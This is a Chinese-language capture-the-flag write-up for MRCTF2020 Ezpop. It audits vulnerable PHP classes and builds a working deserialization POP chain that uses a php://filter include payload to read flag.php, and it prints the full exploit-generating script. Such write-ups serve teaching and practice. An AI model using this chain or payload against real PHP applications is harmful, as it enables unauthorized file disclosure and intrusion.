[MRCTF2020]Ezpop
[MRCTF2020]Ezpop
class Modifier { |
|
1.提示flag在flag.php中,先审计代码
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
首先类Modifier中 append里可以看到有include的包含漏洞,然后__invoke()
函数中可以将var调用运行append,所以可以让var=php://filter/convert.base64-encode/resource=flag.php
思路就是调用__invoke()
函数,然后让var被append
执行即可得到flag
2.要想invoke被调用,只需让一个对象被当作函数来使用
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
function __construct:给source赋值;当一个对象被实例化时调用函数
function __toString():用来返回str这个对象中的source;该函数是当一个对象被当做字符串调用或输出时才调用
function __wakeup():用来过滤;在但序列化时自动调用
如果让file等于一个对象(实例化的class),那么在反序列化时调用的wakeup方法中,就会引起连锁反应(正则匹配会把source当成字符串)
从而调用了tostring方法,返回str中的source
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
function __construct():将变量p变成一个数组;当一个对象被实例化时调用函数
function __get():调用了一个函数,名字为function;访问私有属性或不存在的属性时,自动回调
到此思路就有了,我们要调用invoke()函数,那么就可以让function是一个对象,要让function为对象,只需要让function __construct()中的$this->p = new Modifier();
因此我们需要调用__get函数,而get函数需要调用一个不存在的对象,可以在没有动手过的Test类上下手
根据class show中的结果,return了一个str中的source,那么当str被赋值为一个实例化对象后,只要该对象没有source属性,就可以触发__get()方法,而刚好Test中没有source。
所以可以构造下面的代码
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p; //没法直接让p等于一个新的对象,需要通过方法来赋值
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('fanqie'); //随便赋值,为了让file有值,否则会报错警告
$a -> str = new Test(); //让str等于一个类
$b = new Show($a); //再次调用,让file赋值成一个对象,触发__tostring(),开始pop链
echo urlencode(serialize($b));
?>
base64解码即可得到flag